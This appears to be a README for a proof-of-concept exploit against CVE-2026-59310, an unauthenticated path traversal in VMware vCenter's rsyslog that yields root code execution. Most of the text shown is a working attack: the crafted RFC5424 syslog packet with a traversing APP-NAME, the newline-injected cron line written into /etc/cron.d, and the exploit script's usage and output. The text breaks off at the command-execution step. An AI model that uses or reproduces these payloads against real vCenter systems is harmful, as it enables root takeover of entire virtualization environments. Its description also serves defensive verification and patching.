
Python PoC and exploit for CVE-2026-59310, a VMware vCenter syslog path traversal leading to unauthenticated root RCE via cron injection, with detection and cleanup guidance.
Disclaimer: This project is intended solely for authorized security testing, vulnerability verification, and defensive research. Please use it only in environments where you have obtained explicit written authorization. Users are solely responsible for any consequences arising from misuse.
| Item | Content |
|---|---|
| Vulnerability Name | VMware vCenter Syslog Directory Traversal Vulnerability |
| Vulnerability ID | CVE-2026-59310 |
| Vulnerability Type | Directory Traversal (Path Traversal) → Arbitrary File Write → Remote Code Execution |
| CVSS 3.1 | 9.8 (Critical) |
| Prerequisites | Only requires reachable syslog port (default UDP/TCP 514), no credentials needed |
| Impact | Write to arbitrary paths and execute arbitrary code with root privileges |
| Disclosure Date | 2026-07-29 |
| In-the-Wild Exploitation | Observed |
| Vendor Advisory | VMSA-2026-0006 |
The built-in syslog receiving service (rsyslog) in vCenter uses a dynamic path template to store logs. The template directly concatenates the APP-NAME and HOSTNAME fields from the message header into the file path without any path sanitization. An attacker can send a specially crafted message to a reachable syslog port, causing the write path to escape the intended log directory, and then combine this with scheduled tasks to achieve arbitrary code execution.
vCenter is the virtualization management hub; once compromised, it is equivalent to the entire vSphere / VCF environment being compromised.
Affected Versions (below the following fixed versions)
| Branch | Affected Range | Fixed Version |
|---|---|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 Initial Release / U1 | All | Upgrade to 8.0 U3k or later via supported path |
| 7.0 | Corresponding extended support patch not installed | Contact Broadcom for patch, or migrate to a supported version |
Also affected: Standalone vCenter deployments, as well as affected vCenter components used in VMware Cloud Foundation, VMware vSphere Foundation, and VMware Telco Cloud.
Verified Environment: VMware vCenter Server 9.0.2.0 / Build 25148086, earlier than the fixed version 25629525, confirmed to be in an unpatched state.
/etc/rsyslog.conf (VMware factory default configuration):
29: $template defaultLoc, "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc, "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"
%app-name% is used both as a directory name and a file name, with no path sanitization.
63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
Only prefix matching is required; an attacker can use rsyslog/... to match this rule and enter the dynamic path template.
24: $EscapeControlCharactersOnReceive off
Newlines in the message content are written to disk as-is, allowing an attacker to control the line structure of the written file.
This is the most easily overlooked aspect of this vulnerability.
/ is not permitted by default, causing APP-NAME to be truncated at / → traversal not possible.APP-NAME is an independent space-separated field, no character whitelist validation is performed, / and .. are preserved as-is → traversal possible.The server's input(type="imudp" port="514") uses the default ruleset, which also accepts RFC5424 messages. An attacker only needs to format the message as RFC5424, and the traversal characters can reach the file path directly.
Empirical comparison (same payload rsyslog/../../../../tmp/x):
| Parser | Actual %app-name% Value |
|---|---|
| pmrfc3164 | rsyslog ← truncated at / |
| pmrfc5424 | rsyslog/../../../../tmp/x ← fully preserved |
Corroborating evidence: A pure
..will be created as a literal directory name (e.g.,rsyslog..), indicating that rsyslog's omfile layer does not perform..normalization; what truly determines success is whether the parser can pass/into the field.
① Unauthenticated UDP packet → ② RFC5424 APP-NAME carries traversal → ③ Escape log directory for arbitrary write (root)
↓
⑤ root code execution ← ④ Plant scheduled task in /etc/cron.d
<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello
Substituting into the template:
Directory = /var/log/vmware/rsyslog/../../../../tmp/PWNED → /tmp/PWNED
File = same as above + "-syslog.log" → /tmp/PWNED-syslog.log
Result: A file owned by root is written to /tmp/PWNED-syslog.log, missing parent directories are automatically created, and the content is fully controllable.
The written filename always ends with -syslog.log, so it cannot directly overwrite /etc/cron.d/xxx.
However, by leveraging newline passthrough, newlines can be injected into the MSG, allowing controllable content to start from column 0 of the file:
2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc ← cron reports "bad minute", ignored
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1' ← executed as a valid cron line
#
crond schedules and executes as root, obtaining:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
/opt/vmware/share/htdocs/ (lighttpd listening on 5480), then read via https://<target>:5480/..., consistent with the vendor advisory description./var/spool/cron/root: This directory can be written to, but requires a file named root itself, which is restricted by the -syslog.log suffix, so /etc/cron.d/ is more direct.| Item | Value |
|---|---|
| Target | VMware vCenter Server 9.0.2.0, Build 25148086 |
| Fixed Version | 9.0.2.0100, Build 25629525 |
| rsyslog | 8.2306.0-4.ph5 (VMware custom package) |
| syslog Ports | UDP/TCP 514, TCP 1514 (TLS) |
| Authentication Required | None |
Arbitrary File Write (Unauthenticated)
$ python3 exploit_cve_2026_59310.py <target> --check
[i] API namespace version: 9.0.0.0 (not appliance build, for fingerprint reference only)
[*] APP-NAME : rsyslog/../../../../../tmp/cve59310_check_<name>
[+] Sent. Expected to create a root-owned file on the target
# On the target:
-rw-r----- 1 root root 102 /tmp/cve59310_check_<name>-syslog.log
Command Execution (root)